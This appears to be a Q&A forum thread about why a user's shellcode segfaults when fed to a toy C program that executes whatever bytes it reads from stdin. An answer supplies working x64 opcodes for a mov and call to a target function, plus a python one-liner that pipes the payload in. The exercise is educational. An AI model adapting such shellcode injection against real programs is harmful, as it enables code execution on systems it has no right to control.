1

I am getting the segmentation fault error when I called function "target" in my shellcode.

Here's the C code of program:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>

#define AMOUNT_OF_STUFF 50

void target(){
    //Magic Happens Here   
}


void function_x(){
    char * stuff = (char *)mmap(NULL, AMOUNT_OF_STUFF, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
    if(stuff == MAP_FAILED){
        exit(0);
    }
    printf("You can type %d bytes:\n", AMOUNT_OF_STUFF);
    fflush(stdout);
    int len = read(STDIN_FILENO, stuff, AMOUNT_OF_STUFF);
    if(len == 0){
        exit(0);
    }
    void (*func)() = (void (*)())stuff;
    func();      
}

int main(){
    function_x();
    return 0;
}

I obtained opcode of "CALL TARGET_FUNCTION_ADDRESS" instruction which is "0xfffef5e8" and saved it in a file as: echo -e "\xe8\xf5\xfe\xff" > shellcode

Then I passed my shellcode as input to the program as:

    (gdb) r < shellcode
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y
    Starting program: /home/rakesh/a.out < shellcode
    You can type 50 bytes:

    Breakpoint 1, 0x08048615 in function_x ()
    (gdb) si
    0xb7fd5000 in ?? ()

    (gdb) x/10w $eip
    0xb7fd5000: 0xfffef5e8  0x0000000a  0x00000000  0x00000000
    0xb7fd5010: 0x00000000  0x00000000  0x00000000  0x00000000
    0xb7fd5020: 0x00000000  0x00000000

    (gdb) si
    0xc2fd4efa in ?? ()

    (gdb) si

    Program received signal SIGSEGV, Segmentation fault.
    0xc2fd4efa in ?? ()
    (gdb) 
    [46]+  Stopped                 gdb ./a.out

I can see that EIP is pointing to my given shellcode but still it's not working as expected.

Can anyone tell me why my shellcode is not working??

Rakesh Mane
  • 113
  • 8

2 Answers2

4

As Joshua said, just mov(e) the address of the target function into a register and call that regsiter. Assemble that and use its opcodes, because you need a shellcode(opcodes) that would be executed, and not a function address.

When func() is called after typecasing("stuff") into a function pointer as you wrote

void (*func)() = (void (*)())stuff;
func();

Exploit:

I used your C code and just modified target function a bit to

void target(){
    //Magic Happens Here
        puts("You won");
        exit(0);
}

Compiled it with following gcc flags: gcc -fno-stack-protector -z execstack vuln.c

I did it on 64 bit architecture, so the binary is ELF 64bit. Now run the binary in gdb, and find the address of "target" function as:

(gdb) p target
$1 = {<text variable, no debug info>}` **0x4006dd** `<target>

Go here and assemble the following x64 instructions (for x86 use eax instead of rax). Example:

mov rax ,0x4006dd
call rax

It gives the following shellcode: **\x48\xC7\xC0\xDD\x06\x40\x00\xFF\xD0**

Now write it into the file

python -c "print '\x48\xC7\xC0\xDD\x06\x40\x00\xFF\xD0'" > exp
root@BOX:~# cat exp| ./a.out

You can type 50 bytes: **You won**

root@BOX:~#`

Thus executing the target function.

peterh
  • 2,938
  • 6
  • 25
  • 31
1

Not sure where you obtained the opcodes for your call, but I would try opcodes to put the address of the function you want to call into a register and then make a call to that register. You could also use a jmp instruction, unless you need to keep track of eip +1 before the call.

The program ends up trying to access memory outside of userland, that is the reason for the segfault.

Joshua Gimer
  • 290
  • 1
  • 5